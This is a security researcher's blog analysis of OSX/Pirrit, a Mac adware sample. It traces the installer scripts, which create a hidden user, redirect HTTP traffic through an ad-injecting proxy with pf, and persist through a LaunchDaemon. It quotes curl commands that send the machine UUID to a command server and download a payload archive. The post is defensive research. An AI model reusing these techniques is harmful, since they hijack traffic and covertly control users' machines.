Analysis of an Intrusive Cross-Platform Adware; OSX/Pirrit
04/05/2016
In Objective-See's first guest blog post, Amit Serper (
@0xAmit) presents his detailed analysis of OSX/Pirrit. Amit, mahalo for sharing your research!
Background
I remember adware being a really big buzzword at the beginning of the previous decade. Windows machines were being constantly bombarded with popups, popunders, toolbars and other annoying ways to plant advertisements in your browser. Back then I was a teenager running Windows and refused to install anti-spyware and anti-adware software because there was a rumor that those applications were, in fact, adware themselves! I created my own workaround by running msconfig, going through all of the startup items and removing anything that looked weird. That method almost always worked!
Fast forward to today: I'm no longer a teenager and make my living by leading Cybereason's security research on Mac OS X and Linux (while ever so often pitching in with the Windows effort, too). I spend a lot of time looking at new, interesting and, from time to time, nasty malware. Last Wednesday night, I came across a piece of adware targeting OS X that fell into the category of interesting. Let's be clear - I'm not about to drop zero-days in this blog post. Instead, I'm going to dissect the adware (or at least the more interesting parts of it) to give you an inside look on the lengths attackers are going through to develop threats that target Macs. I'd also like to draw attention to the fact that malware that targets Macs does exist. While this program only delivers ads to a browser, it does use social engineering to get privilege escalation and eventually take total control of your machine. And with control of your machine, attackers could have done more than bombard you with ads.
OSX/Pirrit
I was checking out the OS X reverse engineering IRC channel (#osxre @ freenode) when a user with the name "Xiano" popped in and asked for help figuring out what was going on with his friend's Mac. Xiano said the machine was acting weird and really slow to connect to the Internet. When he sniffed the traffic using tcpdump he saw there was a lot of traffic on the network interface even when the computer was idle. He also saw some weird named processes running under a username that the Mac's owner did not know or add!
Xiano said that he was a Linux guy with very little OS X knowledge. But, since OS X's terminal is very similar to Linux's he started looking at process lists using ps and open handles using lsof and filled a zip file with anything that looked fishy. He then uploaded one zip file with a Mach-O executable and shared the link on the channel. One of the people in the chatroom, "Paraxor" downloaded the file, opened it with a disassembler and shared a few function names in the channel:
As you can see, the names of the functions clearly indicated that this application is some sort of adware. But it had another interesting component that immediately caught my eye: it was using QString class, which is a part of the Qt cross platform development framework. This grabbed my attention because these function names combined with the fact that a cross-platform SDK was used meant that whatever this adware did, it was probably doing it on Windows before! Now, I was interested. I downloaded the files that Xiano had posted. The file was, in fact, an app bundle called "sizzling.app". First I navigated to the Contents/MacOS directory inside the app bundle to examine what was in there. I was actually expecting to find a single executable file but instead I was greeted with two files: rec_script.sh (a shellscript) and "sizzling" (an unsigned Mach-O x64 executable file):
Looking at shell scripts is always easier than looking at binary files. When looking at rec_script.sh we can see that is a relatively easy to read shellscript that even starts with a comment "set redirections". The comment is then followed by populating a variable called $HIDDEN_USER with the value of the user_id tag from a plist file that is located in /Library/Preferences/com.common.plist:
This script figures out the active network interface (be it the wireless or physical ethernet NIC) by parsing the output of the route get command. After finding out which interface is the active one, the script is routing all of the HTTP traffic on port 80 to an http proxy running locally on port 9882 (127.0.0.1:9882). We can then see that it applies another rule: "pass out proto tcp all user $HIDDEN_USER", which means that the previous rule does not apply if traffic is generated by $HIDDEN_USER.
Wait, routing all the traffic through a proxy? A hidden user? This looks really nasty, much nastier than I expected adware to look. At this point $HIDDEN_USER and com.common.plist are unknown and a bit obscured details - this will be clearer soon.
After figuring out the the script's purpose, it was time to look at the binary itself. The easiest thing to do would be to look at the string table:
The string table reveals an interesting finding, A Windows registry key inside a Mach-O executable. WTF? As we can see, the key is HKEY_LOCAL_MACHINE\SOFTWARE\Pirrit.
A quick Google search with the string "Pirrit" revealed that Pirrit is Windows adware:
It was then clear that this was an OS X port of Pirrit. It was at that point that I tweeted that I was looking at a poorly made OS X adware. I thought it was poorly made because it was written in Qt and had some Windows related strings left in it. But since I had yet to run it inside an isolated VM, I didn't really know exactly what it would do or how it would work. Also, let's not forget that I had the app bundle of an already installed OS X variant of Pirrit (which from now and on will be referred to as osx.pirrit) that was given to me by Xiano. I did not have any information about how this bundle was installed on Xiano's friend's computer. Basically, I was looking at what was eventually installed and not at the installer.
I continued going through the executable's string table and following URLs in it:
-
http://thecloudservices.net
When I accessed this URL with a browser, I ended up getting a blank, white page. I thought I was missing something so I even tried loading the URL with Python:
But as you can see, the page is indeed empty.
-
http://shorte.st/st/2904deaf2db062b776f39f499bf88ad9/%1
Shorte.st is a link shortening service that displays ads to the users who visit the shortened links. When I visited that link I got a 404 error and used Google to search for the URL. This gave me one result; a sandbox report from May 2014 of what seems to be "Pirrit suggestor for Windows". That URL was also in the binary's string table...
-
http://thecloudservices.net/static/pd_files/ok.html
Loading that URL with Python shows that it just contains the string "OK". Probably expects this string as part of a connection check routine.
-
http://www.google.com
The world's most powerful search engine :) Probably another connection check routine.
When I executed this binary (sizzling) I got a bunch of Qt related error messages and that's it. Nothing really worked. Also, there was nothing related to any unknown or hidden usernames other than that $HIDDEN_USERNAME variable from the script mentioned before.
I was just about to call it a night when Xiano messaged me that he had managed to get some more files from his friend's machine, including another app bundle. I suspected that this app bundle was copied to the machine from a .dmg image of a fake installer, probably Flash. The second bundle was named "DemoUpdater".
Navigating to the bundle's Contents/MacOS directory revealed another unsigned executable x64 Mach-O binary called "DemoUpdater". DemoUpdater's string table looked far more interesting than sizzling's. It had some obfuscated and packed looking strings. Looking at the file with a disassembler revealed that some decrypting functions that are meant to decrypt the domains that osx.pirrit connects to:
The domains that I've managed to extract so far are mentioned at the bottom of this document.
There were also other encrypted strings that according to their symbol names are related to the Windows variant:
The executable then executes the update2.sh script that is also inside the MacOS directory. Update2.sh is a very long (330 lines!) shell script that even executes some inline python code (python -c) that basically prepares all of the infrastructure for osx.pirrit. It starts by creating a file in /var/tmp/updText.txt - that file contain the output of many functions from the script.
Update2.sh is a very long script but here are its notable actions:
-
The script gets the machine id (uuid) - derived from the actual uuid of the machine by running the ioreg -rdl -c IOPlatformExpertDevice command and parsing its output using awk and grep.
-
It then sends the machine ID to a server in order to get a new ID back from the server by executing a curl command line - curl "http://93a555685cc7443a8e1034efa1f18924.com/v/cld?mid=<UUID>&ct=pd"
-
The script then checks the country code of the machine its running on by visiting 'ipinfo.io/country' using curl. The ipinfo.io service returns the current country code in ISO 3166-2 format. If the country code that was returned from the website was for the U.S., U.K., Spain, Australia, France, Germany, India, Italy, Netherlands or New Zealand, it will replace the browser's homepage and search engine with trovi.com, a known sketchy advertising service. If the country is not on the list, the homepage and search provider will be replaced with search-quick.com, another known sketchy advertising service.
-
After installation is complete, the script also updates its C&C and notifying it that the installation was successful. It does that by running curl with the following URL: "http://93a555685cc7443a8e1034efa1f18924.com/pd/update-effect?mid=<UUID>&st=1"
-
The script will then configure Safari, Chrome and Firefox, if installed to use these search providers.
-
After all of the configurations are made, the script will download a tgz archive that contains the actual ad injecting proxy and click jacker in an app bundle and a few installation and configuration scripts (including an uninstall script) from the following URL: "http://93a555685cc7443a8e1034efa1f18924.com/static/pd_files/dit3.tgz" and will extract it to /tmp/DemoInjector07122015. This may say that the version is either from December or July of 2015.
-
After the file was downloaded and extracted to the aforementioned directory, the script will install the adware and clickjacker by running a script called "install_injector" that was extracted from the archive to /tmp/DemoInjector07122015.
Now, after the archive was extracted, and "./install_injector" was executed osx.pirrit will be persistently installed.
The Install_injector.sh shell script is 111 lines long and handles setting up the persistence by establishing an autorun, setting up a HTTP proxy to inject ads, adding a hidden user and hijacking all of the user's HTTP traffic on port 80 to the ad injecting proxy.
To hide itself and make it harder to detect, the install script generates company, product and usernames. The generated product name will be used for the binary name of the ad injecting proxy, the generated company name will be used for the autorun plist and the generated username will be used for the hidden username that will execute the proxy.
In order to generate the username, product and company names the script selects a random word from the /usr/share/dict/words file, note that a different word will be selected for each name. Remember "sizzling" from earlier? It was generated this way.
After the random names are generated, the script will create a new user with the generated username. The user's home directory will be in /var/<username> and its UID will be set to 401 (hardcoded).
The details of the generated user will be saved inside /Library/Preferences/com.common.plist:
The password for the that user is hardcoded inside the script file and it is "test".
The script also sets read, write and execute permissions on /Library/<companyname>/Contents/MacOS/<companyname>, which is where the ad injecting proxy is located.
In order to hide the newly created user from the log-in and configuration screens, the script turns on the Hide500Users property in /Library/Preferences/com.apple.loginwindow. Setting this flag to True (or Yes in this case) will hide any user that has a lower uid than 500 from any configuration or log-in screens:
As we can see in these screenshots, the only username that's being displayed is "test", which is the user that 'owns' this machine. The hidden random username that was generated on my machine was "ununiformity" and as you can see, it is not shown in the user configuration or the log-in screen.
After taking care of user hiding, the script will setup pf (OS X's built-in packet filter) to filter all of the HTTP traffic on port 80 and forward it through the proxy in order to inject ads and track the user's traffic.
The use of pf for this task also makes it hard for the average user to disable or even understand where are all the ads coming from since pf is doing all of the packet forwarding legwork. The Windows variant of Pirrit simply adds the proxy server to the browser's configuration, evidence that can be clearly seen:
Note that only the traffic that belongs to the hidden user will not be forwarded through the proxy. This avoids redirection-loops since the hidden user is the one that is running the proxy server.
Also note the creation of the file /etc/pf_proxy.conf, which will contain those pf rules. These rules will be loaded every time the machine reboots.
The script will now add a LaunchDaemon (autorun in Mac speak) to /Library/LaunchDaemons. The plist file of the LaunchDaemon will be called com.<randomCompanyName>.net-preferences.plist. As we can see in this plist, the launch agent will run the /etc/change_net_settings.sh, a script that was also created by the installer script:
This logic can be also be witnessed when looking at /etc/change_net_settings.sh:
Although osx.pirrit has root permissions (since the LaunchDaemon is running as root) it is running the ad injecting proxy as the hidden user by issuing a sudo -u command, which can also be seen in a ps output:
Now, the ad injector proxy is finally running and ads are being are being injected!
After figuring the entire installer out, we need to go back to the beginning. "Sizzling" was the ad injecting proxy and the name sizzling was generated. I still don't have the complete installer app bundle since I had to assemble it from the bits and pieces that Xiano sent me. My best guess is that the installer is just a drive-by download masked as a generic update. For example, the installer could be concealed as a Flash update that, once executed, prompts the user to enter his password, elevating its privileges to root, assuming that the user is in the sudoers list (which in most cases he is). Looking for the file's hash in VirusTotal reveals that it indeed had several update related names.
Note the "Upd" appended to the end of each file name:
Conclusions
Is osx.pirrit a groundbreaking threat? Of course not! Is it using any vulnerabilities in OS X? It doesn't look like it. While it wasn't an elaborate piece of malware, osx.pirrit took complete control of the machine while making it very hard for the user to remove it. And if it wasn't for the tons of popup ad windows and ads being injected to webpages, the vast majority of users wouldn't even know it was there. It has no configuration screen or an entry in the /Applications directory and the only way to see that it is actually running (other than wondering where are all of those ads coming from) is to look at the running process list and examine it closely.
But this doesn't mean osx.pirrit should be dismissed as completely harmless because it "only" displays ads. The greater point I'm trying to make is that there is malware targets Macs. While there's hardly any malware research out there for Macs because, well, there isn't much malware that targets Macs, this doesn't mean Macs are somehow immune to threats. osx.pirrit gives attackers persistence over your machine. Instead of spamming you with ads, they could have just as easily stolen data or taken your company's secret sauce. Or they could have installed a keylogger to capture your log-in information, allowing them access to your bank account. In this case, attackers didn't exploit a vulnerability. They used basic social engineering and a simple (but very long) script to carry out this attack. You have to know what's happening on your machines (even Macs) because the moment you don't pay attention you end up getting compromised.
Indicators of Compromise (IoCs)
Removal
Remediation script can be downloaded from my github.
If you are infected, please download this script and run it as root (sudo).